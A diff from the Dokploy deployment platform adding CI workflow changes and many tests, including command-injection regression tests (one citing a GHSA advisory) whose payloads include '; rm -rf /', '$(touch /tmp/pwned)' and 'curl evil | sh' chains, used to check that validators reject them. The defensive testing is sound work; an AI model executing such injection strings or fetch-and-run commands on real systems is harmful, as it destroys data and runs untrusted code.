diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index 1c228d27e..08d6b8a5b 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -140,6 +140,7 @@ jobs: runs-on: ubuntu-latest outputs: version: ${{ steps.get_version.outputs.version }} + npm_version: ${{ steps.get_version.outputs.npm_version }} steps: - name: Checkout uses: actions/checkout@v4 @@ -151,6 +152,7 @@ jobs: run: | VERSION=$(node -p "require('./apps/dokploy/package.json').version") echo "version=$VERSION" >> $GITHUB_OUTPUT + echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT - name: Fetch install.sh run: | @@ -164,6 +166,7 @@ jobs: uses: softprops/action-gh-release@v2 with: tag_name: ${{ steps.get_version.outputs.version }} + target_commitish: ${{ github.sha }} name: ${{ steps.get_version.outputs.version }} generate_release_notes: true draft: false @@ -180,71 +183,82 @@ jobs: - name: Checkout uses: actions/checkout@v4 + - uses: pnpm/action-setup@v4 + with: + version: 10.22.0 + + - uses: actions/setup-node@v4 + with: + node-version: 24.4.0 + cache: pnpm + + - name: Generate OpenAPI specification + run: | + pnpm install --frozen-lockfile + pnpm generate:openapi + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo cd /tmp/mcp-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json - npm install -g pnpm + cp ${{ github.workspace }}/openapi.json src/generated/openapi.json pnpm install - pnpm run fetch-openapi pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}" - name: Sync version to CLI repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo cd /tmp/cli-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}" - name: Sync version to SDK repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo cd /tmp/sdk-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}" diff --git a/.github/workflows/hotfix-cherry-pick.yml b/.github/workflows/hotfix-cherry-pick.yml new file mode 100644 index 000000000..9632917d4 --- /dev/null +++ b/.github/workflows/hotfix-cherry-pick.yml @@ -0,0 +1,36 @@ +name: Hotfix Cherry-Pick + +on: + pull_request_target: + types: [closed, labeled] + +concurrency: + group: hotfix-to-main + cancel-in-progress: false + +jobs: + cherry-pick: + if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix') + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - name: Checkout main + uses: actions/checkout@v4 + with: + ref: main + fetch-depth: 0 + token: ${{ secrets.HOTFIX_PUSH_TOKEN }} + + - name: Cherry-pick fix to main + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + SHA="${{ github.event.pull_request.merge_commit_sha }}" + if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then + git cherry-pick -x -m 1 "$SHA" + else + git cherry-pick -x "$SHA" + fi + git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]" + git push origin main diff --git a/.github/workflows/hotfix-release.yml b/.github/workflows/hotfix-release.yml new file mode 100644 index 000000000..7e473b3d2 --- /dev/null +++ b/.github/workflows/hotfix-release.yml @@ -0,0 +1,28 @@ +name: Hotfix Release + +on: + workflow_dispatch: + +concurrency: + group: hotfix-to-main + cancel-in-progress: false + +jobs: + release: + runs-on: ubuntu-latest + steps: + - name: Checkout main + uses: actions/checkout@v4 + with: + ref: main + token: ${{ secrets.HOTFIX_PUSH_TOKEN }} + + - name: Bump patch version and push + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + CURRENT=$(node -p "require('./apps/dokploy/package.json').version") + NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}') + sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json + git commit -am "chore: release ${NEW}" + git push origin main diff --git a/apps/api/package.json b/apps/api/package.json index 70df73ce4..cd1689041 100644 --- a/apps/api/package.json +++ b/apps/api/package.json @@ -28,7 +28,7 @@ "@types/react-dom": "^19.2.0", "rimraf": "6.1.3", "tsx": "^4.22.4", - "typescript": "^5.8.3" + "typescript": "^7.0.2" }, "packageManager": "pnpm@10.22.0", "engines": { diff --git a/apps/api/tsconfig.json b/apps/api/tsconfig.json index e47c6267d..89d55fdb8 100644 --- a/apps/api/tsconfig.json +++ b/apps/api/tsconfig.json @@ -2,13 +2,12 @@ "compilerOptions": { "target": "ESNext", "module": "ESNext", - "moduleResolution": "Node", + "moduleResolution": "bundler", "strict": true, "skipLibCheck": true, "outDir": "dist", + "rootDir": "./src", "jsx": "react-jsx", - "jsxImportSource": "hono/jsx", - "baseUrl": ".", "paths": { "@/*": ["./*"], "@dokploy/server/*": ["../../packages/server/src/*"] diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts new file mode 100644 index 000000000..51b0ce904 --- /dev/null +++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts @@ -0,0 +1,57 @@ +import { execSync } from "node:child_process"; +import { + getRestoreCommand, + stripDatabaseSwitchCommand, +} from "@dokploy/server/utils/restore/utils"; +import { describe, expect, it } from "vitest"; + +const filter = (input: string) => + execSync(stripDatabaseSwitchCommand, { + input, + shell: "/bin/bash", + }).toString(); + +describe("restore drops database-switch statements (mysql/mariadb)", () => { + const dump = [ + "-- MariaDB dump", + "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;", + "USE `production_db`;", + "use production_db;", + "DROP TABLE IF EXISTS `users`;", + "CREATE TABLE `users` (`id` int NOT NULL);", + "INSERT INTO `users` VALUES (1),(2);", + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ].join("\n"); + + it("removes USE and CREATE DATABASE lines but keeps everything else", () => { + const result = filter(dump); + expect(result).not.toContain("USE `production_db`"); + expect(result).not.toContain("use production_db"); + expect(result).not.toContain("CREATE DATABASE /*!32312"); + expect(result).toContain("DROP TABLE IF EXISTS `users`;"); + expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);"); + expect(result).toContain("INSERT INTO `users` VALUES (1),(2);"); + expect(result).toContain( + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ); + }); + + it("is wired into mysql and mariadb restore pipelines only", () => { + const base = { + appName: "my-app", + restoreType: "database" as const, + credentials: { + database: "dev_db", + databaseUser: "u", + databasePassword: "p", + }, + rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip", + }; + for (const type of ["mysql", "mariadb"] as const) { + const cmd = getRestoreCommand({ ...base, type }); + expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`); + } + const pgCmd = getRestoreCommand({ ...base, type: "postgres" }); + expect(pgCmd).not.toContain(stripDatabaseSwitchCommand); + }); +}); diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts index 372a6fc59..f979c5c84 100644 --- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -28,7 +28,7 @@ const runsSafely = (command: string) => { const PAYLOADS = [ `$(touch ${MARK})`, - "`touch " + MARK + "`", + `\`touch ${MARK}\``, `x; touch ${MARK}`, `x | touch ${MARK}`, ]; @@ -101,4 +101,69 @@ describe("compose createCommand injection", () => { "deploy/docker-compose.prod.yml", ); }); + + it("allows chained docker compose commands with '&&'", () => { + const cmd = createCommand({ + ...base, + command: + "compose pull && docker compose down && docker compose up -d --build", + } as any); + expect(cmd).toBe( + "compose pull && docker compose down && docker compose up -d --build", + ); + }); + + it("allows chaining with the legacy 'docker-compose' spelling", () => { + const cmd = createCommand({ + ...base, + command: "compose pull && docker-compose down", + } as any); + expect(cmd).toBe("compose pull && docker-compose down"); + }); + + it("rejects a single '&' used for backgrounding", () => { + expect(() => + createCommand({ ...base, command: "compose up -d & sleep 1" } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects a malformed '&&&' chain", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull &&& docker compose up -d", + } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects chained segments that are not docker compose invocations", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && rm -rf /", + } as any), + ).toThrow(/must strictly start with 'docker compose '/); + }); + + it("rejects an attempted injection smuggled inside a chained segment", () => { + for (const bad of [ + "compose pull && docker compose up -d; touch /tmp/pwn", + "compose pull && docker compose up -d $(touch /tmp/pwn)", + "compose pull && docker compose up -d `touch /tmp/pwn`", + "compose pull && docker compose up -d | touch /tmp/pwn", + ]) { + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); + } + }); + + it("rejects a chain that only pretends to start with docker compose later in the string", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && curl evil.sh | docker compose up -d", + } as any), + ).toThrow(/Invalid characters/); + }); }); diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts new file mode 100644 index 000000000..7d4da8d7a --- /dev/null +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -0,0 +1,69 @@ +import { parse } from "shell-quote"; +import { describe, expect, it, vi } from "vitest"; + +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file +// "exists" but does not contain the attacker's service, forcing the error path +// whose message embeds the user-controlled serviceName. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: () => true, + readFileSync: () => "services:\n web:\n image: nginx\n", + }; +}); + +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; + +const baseCompose = { + appName: "my-app", + serverId: null, + composeType: "docker-compose", + sourceType: "raw", + composePath: "docker-compose.yml", + isolatedDeployment: false, + randomize: false, + suffix: "", +} as any; + +const makeDomain = (serviceName: string) => + ({ + host: "example.com", + serviceName, + https: false, + uniqueConfigKey: 1, + port: 3000, + enabled: true, + }) as any; + +// If the returned shell fragment is safe, parse() yields only string tokens. +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. +const leaksShellSyntax = (command: string, marker: string) => + parse(command).some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { + it("does not let a malicious serviceName inject shell operators", async () => { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain("$(touch /tmp/pwned)"), + ]); + + // The service does not exist in the compose, so we hit the error branch. + expect(result).toContain("Has occurred an error"); + // The payload text may appear inside the single-quoted echo argument, but + // it must never parse as a shell operator ($(), backtick, ; …). + expect(leaksShellSyntax(result, "touch")).toBe(false); + }); + + it("neutralizes backtick and semicolon payloads too", async () => { + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain(`svc${payload}`), + ]); + expect(leaksShellSyntax(result, "rm")).toBe(false); + expect(leaksShellSyntax(result, "curl")).toBe(false); + expect(leaksShellSyntax(result, "id")).toBe(false); + } + }); +}); diff --git a/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts new file mode 100644 index 000000000..1cb696e07 --- /dev/null +++ b/apps/dokploy/__test__/compose/domain/enabled-filter.test.ts @@ -0,0 +1,312 @@ +import type { Compose } from "@dokploy/server/services/compose"; +import type { Domain } from "@dokploy/server/services/domain"; +import { addDomainToCompose } from "@dokploy/server/utils/docker/domain"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// addDomainToCompose reads the compose file from disk through loadDockerCompose +// (existsSync + readFileSync). Mock node:fs so the function runs its real +// label-generation logic against an in-memory compose spec. +const baseComposeYaml = ` +services: + frigate: + image: frigate +`; +let composeYaml = baseComposeYaml; + +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: vi.fn(() => true), + readFileSync: vi.fn(() => composeYaml), + }; +}); + +const baseCompose = { + appName: "test-app", + composeType: "docker-compose", + composePath: "docker-compose.yml", + sourceType: "raw", + serverId: null, + isolatedDeployment: false, + randomize: false, + suffix: "", +} as unknown as Compose; + +const baseDomain: Domain = { + host: "frigate.example.com", + port: 8971, + customEntrypoint: null, + https: false, + uniqueConfigKey: 1, + customCertResolver: null, + certificateType: "none", + applicationId: "", + composeId: "compose-id", + domainType: "compose", + serviceName: "frigate", + domainId: "domain-id", + path: "/", + createdAt: "", + previewDeploymentId: "", + internalPath: "/", + stripPath: false, + middlewares: null, + forwardAuthEnabled: false, + enabled: true, +}; + +const serviceLabels = ( + result: Awaited>, +) => (result?.services?.frigate?.labels as string[] | undefined) ?? []; + +describe("addDomainToCompose enabled filtering", () => { + beforeEach(() => { + vi.clearAllMocks(); + composeYaml = baseComposeYaml; + }); + + it("generates traefik labels for an enabled domain", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, enabled: true }, + ]); + + const labels = serviceLabels(result); + expect(labels).toContain("traefik.enable=true"); + expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe( + true, + ); + }); + + it("skips a disabled domain entirely (no traefik labels)", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, enabled: false }, + ]); + + const labels = serviceLabels(result); + expect(labels).not.toContain("traefik.enable=true"); + expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe( + false, + ); + }); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + - traefik.enable=true + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api + - custom.label=preserved +`, + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + - traefik.enable=true + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api + - custom.label=preserved +`, + ], + ] as const)( + "removes stale labels for a disabled domain from %s rebuilds", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: false }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toContain("custom.label=preserved"); + expect( + (labels as string[]).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + legacy: + image: frigate + labels: + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - custom.label=preserved + frigate: + image: frigate +`, + ], + [ + "stack", + `services: + legacy: + image: frigate + deploy: + labels: + - traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`) + - traefik.http.services.test-app-1-web.loadbalancer.server.port=8971 + - custom.label=preserved + frigate: + image: frigate +`, + ], + ] as const)( + "removes stale labels from the previous %s service after reassignment", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, serviceName: "frigate", enabled: false }, + ]); + + const previousService = result?.services?.legacy; + const labels = + composeType === "docker-compose" + ? previousService?.labels + : previousService?.deploy?.labels; + expect(labels).toContain("custom.label=preserved"); + expect( + (labels as string[]).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api + custom.label: preserved +`, + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api + custom.label: preserved +`, + ], + ] as const)( + "removes stale mapping labels for a disabled domain from %s rebuilds", + async (composeType, staleComposeYaml) => { + composeYaml = staleComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: false }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toMatchObject({ "custom.label": "preserved" }); + expect( + Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")), + ).toBe(false); + }, + ); + + it.each([ + [ + "docker-compose", + `services: + frigate: + image: frigate + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + custom.label: preserved +`, + "traefik.docker.network", + ], + [ + "stack", + `services: + frigate: + image: frigate + deploy: + labels: + traefik.enable: "true" + traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`) + traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971 + custom.label: preserved +`, + "traefik.swarm.network", + ], + ] as const)( + "regenerates routing in mapping labels for an enabled domain in %s", + async (composeType, mappingComposeYaml, networkLabel) => { + composeYaml = mappingComposeYaml; + + const result = await addDomainToCompose({ ...baseCompose, composeType }, [ + { ...baseDomain, enabled: true }, + ]); + + const service = result?.services?.frigate; + const labels = + composeType === "docker-compose" + ? service?.labels + : service?.deploy?.labels; + expect(labels).toMatchObject({ + "custom.label": "preserved", + "traefik.enable": "true", + [networkLabel]: "dokploy-network", + "traefik.http.routers.test-app-1-web.rule": + "Host(`frigate.example.com`)", + "traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971", + }); + }, + ); + + it("emits labels only for the enabled domain when both are present", async () => { + const result = await addDomainToCompose(baseCompose, [ + { ...baseDomain, host: "enabled.example.com", enabled: true }, + { + ...baseDomain, + host: "disabled.example.com", + uniqueConfigKey: 2, + enabled: false, + }, + ]); + + const labels = serviceLabels(result); + expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe( + true, + ); + expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe( + false, + ); + }); +}); diff --git a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts index 07fc42c33..027e2f69d 100644 --- a/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts +++ b/apps/dokploy/__test__/compose/domain/host-rule-format.test.ts @@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => { customEntrypoint: null, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; describe("Host rule format validation", () => { diff --git a/apps/dokploy/__test__/compose/domain/labels.test.ts b/apps/dokploy/__test__/compose/domain/labels.test.ts index e48b54452..57e018baf 100644 --- a/apps/dokploy/__test__/compose/domain/labels.test.ts +++ b/apps/dokploy/__test__/compose/domain/labels.test.ts @@ -24,6 +24,7 @@ describe("createDomainLabels", () => { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; it("should create basic labels for web entrypoint", async () => { diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts new file mode 100644 index 000000000..2dbb7fa4e --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts @@ -0,0 +1,96 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose"; +import { afterEach, describe, expect, it } from "vitest"; + +// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 — +// values must survive Docker Compose's own `.env` parsing, not just base64 decode. +const appName = `env-file-literals-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); + +afterEach(() => { + try { + execFileSync("docker", ["compose", "down", "--remove-orphans"], { + cwd: codePath, + stdio: "ignore", + }); + } catch { + // Project may not have been created (e.g. an earlier assertion failed). + } + rmSync(projectPath, { force: true, recursive: true }); +}); + +const cases: Record = { + PASSWORD: "pa$$word", + SPECIAL: '!"#$%&/()=?', + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: "abc#de", + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----", +}; + +// How each value must be typed in the UI so the (unchanged) dotenv input +// parser resolves it to the raw string in `cases` above. +const inputEncoding: Record = { + PASSWORD: "pa$$word", + SPECIAL: `'!"#$%&/()=?'`, + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: `"abc#de"`, + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"', +}; + +describe("getCreateEnvFileCommand", () => { + it("writes special environment values that Docker Compose reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(inputEncoding) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = getCreateEnvFileCommand({ + appName, + composePath: "docker-compose.yml", + env: serviceEnv, + randomize: false, + suffix: "", + serverId: null, + environment: { project: { env: "" }, env: "" }, + } as Parameters[0]); + + execFileSync("bash", ["-c", command]); + + const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys( + cases, + ) + .map((key) => ` - ${key}=\${${key}}`) + .join("\n")}\n`; + writeFileSync(join(codePath, "docker-compose.yml"), composeFile); + + const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`; + + const out = execFileSync( + "docker", + ["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript], + { cwd: codePath, encoding: "utf8" }, + ); + + const parts = out.split("\0"); + const actual: Record = {}; + for (let i = 0; i < parts.length - 1; i += 2) { + actual[parts[i] as string] = parts[i + 1] as string; + } + + for (const [key, value] of Object.entries(cases)) { + expect(actual[key], key).toBe(value); + } + }, 60000); +}); diff --git a/apps/dokploy/__test__/compose/env-file-preserved.test.ts b/apps/dokploy/__test__/compose/env-file-preserved.test.ts new file mode 100644 index 000000000..03aa057c4 --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-preserved.test.ts @@ -0,0 +1,45 @@ +import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it, vi } from "vitest"; + +// Compose now has a `createEnvFile` toggle (default true), mirroring the +// Application builder's flag: when disabled, Dokploy never writes `.env`, +// so a repo-tracked file survives untouched. +vi.mock("@dokploy/server/utils/docker/domain", () => ({ + writeDomainsToCompose: vi.fn().mockResolvedValue(""), +})); + +const baseCompose = { + appName: "env-file-toggle", + sourceType: "raw", + command: "", + composePath: "docker-compose.yml", + composeType: "docker-compose", + isolatedDeployment: false, + randomize: false, + suffix: "", + serverId: null, + env: "FOO=bar", + mounts: [], + domains: [], + environment: { project: { env: "" }, env: "" }, +} as unknown as Parameters[0]; + +describe("getBuildComposeCommand createEnvFile toggle", () => { + it("createEnvFile: false never writes the .env file", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: false, + }); + + expect(command).not.toContain("base64 -d >"); + }); + + it("createEnvFile: true (default) writes Dokploy's vars", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: true, + }); + + expect(command).toContain("base64 -d >"); + }); +}); diff --git a/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts new file mode 100644 index 000000000..4ce0f5ded --- /dev/null +++ b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts @@ -0,0 +1,43 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, readFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils"; +import { parse } from "dotenv"; +import { afterEach, describe, expect, it } from "vitest"; + +// Unlike compose's .env, this one is read by the app's own build tooling +// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped. +const appName = `env-file-literals-dockerfile-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); +const dockerFilePath = join(codePath, "Dockerfile"); + +afterEach(() => rmSync(projectPath, { force: true, recursive: true })); + +const cases: Record = { + PASSWORD: "pa$$word", + NESTED_JSON: '{"nested":{"a":1}}', + QUOTE_INSIDE: 'she said "hi"', + BACKSLASH: "back\\slash", + UNICODE: "héllo wörld 日本語 🚀", +}; + +describe("createEnvFileCommand", () => { + it("writes special environment values that a generic dotenv parser reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(cases) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", ""); + execFileSync("bash", ["-c", command]); + + const written = readFileSync(join(codePath, ".env"), "utf8"); + const parsed = parse(written); + + for (const [key, value] of Object.entries(cases)) { + expect(parsed[key], key).toBe(value); + } + }); +}); diff --git a/apps/dokploy/__test__/deploy/railpack.command.test.ts b/apps/dokploy/__test__/deploy/railpack.command.test.ts new file mode 100644 index 000000000..94c95c950 --- /dev/null +++ b/apps/dokploy/__test__/deploy/railpack.command.test.ts @@ -0,0 +1,104 @@ +import type { ApplicationNested } from "@dokploy/server/utils/builders"; +import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack"; +import { describe, expect, it } from "vitest"; + +const createApplication = ( + overrides: Partial = {}, +): ApplicationNested => + ({ + appName: "test-app", + buildType: "railpack", + sourceType: "git", + buildPath: "/", + railpackVersion: "0.15.4", + env: "TEST_VAR=one", + cleanCache: false, + environment: { + project: { + env: "", + }, + env: "", + }, + ...overrides, + }) as unknown as ApplicationNested; + +const getSecretsHash = (command: string) => { + const match = command.match(/secrets-hash=([a-f0-9]{64})/); + if (!match?.[1]) { + throw new Error("secrets-hash build arg was not found"); + } + + return match[1]; +}; + +describe("getRailpackCommand", () => { + it("includes secrets-hash without clean cache", () => { + const command = getRailpackCommand(createApplication()); + + expect(command).toContain("--build-arg secrets-hash="); + expect(command).not.toContain("cache-key="); + }); + + it("includes cache-key only when clean cache is enabled", () => { + const command = getRailpackCommand( + createApplication({ + cleanCache: true, + }), + ); + + expect(command).toContain("--build-arg secrets-hash="); + expect(command).toContain("--build-arg cache-key="); + }); + + it("changes secrets-hash when an environment value changes", () => { + const firstCommand = getRailpackCommand( + createApplication({ + env: "TEST_VAR=one", + }), + ); + const secondCommand = getRailpackCommand( + createApplication({ + env: "TEST_VAR=two", + }), + ); + + expect(getSecretsHash(firstCommand)).not.toEqual( + getSecretsHash(secondCommand), + ); + }); + + it("changes secrets-hash when referenced project or environment values change", () => { + const firstCommand = getRailpackCommand( + createApplication({ + env: [ + "PROJECT_VALUE=${{project.SHARED_VALUE}}", + "ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}", + ].join("\n"), + environment: { + project: { + env: "SHARED_VALUE=one", + }, + env: "SHARED_VALUE=alpha", + }, + } as Partial), + ); + const secondCommand = getRailpackCommand( + createApplication({ + env: [ + 